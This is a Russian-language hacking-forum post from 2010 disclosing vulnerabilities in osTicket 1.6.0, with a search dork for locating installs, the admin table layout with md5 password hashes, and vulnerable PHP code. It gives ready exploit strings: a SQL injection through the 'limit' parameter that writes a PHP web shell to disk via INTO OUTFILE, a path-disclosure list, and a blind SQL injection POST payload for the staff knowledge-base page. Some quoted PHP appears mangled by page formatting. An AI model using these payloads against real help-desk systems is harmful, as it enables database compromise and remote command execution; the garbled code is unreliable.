Старый 30.12.2010, 11:35   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию osTicket

osTicket

Сайт: http://www.osticket.com [PR7]
Дорк: osTicket :: Support Ticket System (часто удаляют название из исходников, можно также искать по "Ticket System")

Анализировалась последняя на данный момент версия:
Version 1.6.0 (Stable) от Feb-09-2010


Информация.

Таблица с хэшами привилегированных пользователей - ost_staff, поля:
staff_id
group_id (1=Admin group)
username
passwd (md5)
email
isadmin (1/0)

Служебный вход: /scp/

В подключаемом всюду /main.inc.php автор удаляет слэши из $_POST/$_GET/$_REQUEST при включенной опции magic_quotes_gpc, а при подстановке значений в БД предварительно делает addslashes() и обрамляет кавычками (см. функцию db_input()).

Будучи админом, можно редактировать директорию и список расширений, разрешенных для загрузки, однако узнать генерируемый префикс имени файла невозможно (он лежит в поле file_key таблицы ost_ticket_attachment). Для обхода этого может использоваться уязвимость п.3. Файлы загружаются в подпапку с текущей датой (напр. /1210/ - месяц.год тикета).

Для искателей XSS: сессии по дефолту привязываются к IP; чтобы сменить пароль, нужно ввести текущий.


Уязвимости.


1. Arbitrary File Write via SQL Injection
Зависимости: FILE_PRIV=Y

В /osticket/include/client/tickets.inc.php:

PHP код:
$pagelimit=$_GET['limit']?$_GET['limit']:PAGE_LIMIT;
$page=($_GET['p'] && is_numeric($_GET['p']))?$_GET['p']:1;
//...
$pageNav=new Pagenate($total,$page,$pagelimit);
//...
$query="$qselect $qfrom $qwhere $qgroup ORDER BY $order_by $order LIMIT ".$pageNav->getStart().",".$pageNav->getLimit(); 
Несмотря на явное соседство проверяемого $page и $pagelimit, последний не проверяется на is_numeric().

В /osticket/include/class.pagenate.php:

PHP код:
    function PageNate($total,$page,$limit=20,$url='') {
        
$this->total intval($total);
        
$this->limit max($limit);
        
$this->page  max($page);
        
$this->start max((($page-1)*$this->limit),0);
    
//...
    
}
    function 
getStart() {
        return 
$this->start;
    }
    function 
getLimit() {
        return 
$this->limit;
    } 
Видим, что передаваемый нами $pagelimit сравнивается с единицей и, если больше, в неизменном виде подставляется в SQL-запрос.
Все было бы куда лучше, если бы в запросе перед лимитов не было ORDER BY, а так как он есть, то union использовать не получится, остается только into outfile.
Т.к. все входные параметры изначально фильтруются от добавленных слэшей (см. п. Информация), то все кавычки удачно проходят. Условием для успеха является работа с БД под юзером с FILE_PRIV=Y.

Использование: /tickets.php?limit=1 into outfile '/tmp/otto.php' lines terminated by "<?php system($_GET[otto]);?>"

P.S. Точно такая же уязвимость имеется в /include/staff/tickets.inc.php, но ее ценность ниже, т.к. нужны служебные права.

2. Full Path Disclosure

Полезно для использования совместно с предыдущей уязвимостью.
/include/pear/Net/SMTP.php
/include/pear/Auth/SASL.php
и некоторые другие файлы из /include/pear/*.php.

3. Blind SQL Injection
Зависимости: принадлежность к служебной группе Managers или Admins (но не Staff) для возможности доступа к /scp/kb.php

В /osticket/scp/kb.php:
PHP код:
        if(!$_POST['canned'] || !is_array($_POST['canned']))
            
$errors['err']='You must select at least one item';
        else{
            
$msg='';
            
$ids=implode(',',$_POST['canned']);
            
$selected=count($_POST['canned']);
            if(isset(
$_POST['enable'])) {
                if(
db_query('UPDATE '.KB_PREMADE_TABLE.' SET isenabled=1,updated=NOW() WHERE isenabled=0 AND premade_id IN('.$ids.')'))
                    
$msg=db_affected_rows()." of  $selected selected replies enabled";
            }elseif(isset(
$_POST['disable'])) {
                if(
db_query('UPDATE '.KB_PREMADE_TABLE.' SET isenabled=0, updated=NOW() WHERE isenabled=1 AND premade_id IN('.$ids.')'))
                    
$msg=db_affected_rows()." of  $selected selected replies disabled";
            }elseif(isset(
$_POST['delete'])) {
                if(
db_query('DELETE FROM '.KB_PREMADE_TABLE.' WHERE premade_id IN('.$ids.')'))
                    
$msg=db_affected_rows()." of  $selected selected replies deleted";
            } 
Содержимое передаваемого массива $_POST['canned'] без фильтрации подставляется в sql запрос.

Использование POST запрос к /osticket/scp/kb.php:
Цитата:
a=process&canned[]=2) and 1=2-- &canned[]=2&disable=disable
P.S. Большое множество таких же инъекций встречается в файле /scp/admin.php, для доступа к которому необходимо быть администратором, что снижает их ценность.


SynQ, released on RDot.org

Последний раз редактировалось SynQ; 07.04.2011 в 19:50..
SynQ вне форума   Ответить с цитированием
Ответ

Метки
osticket

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot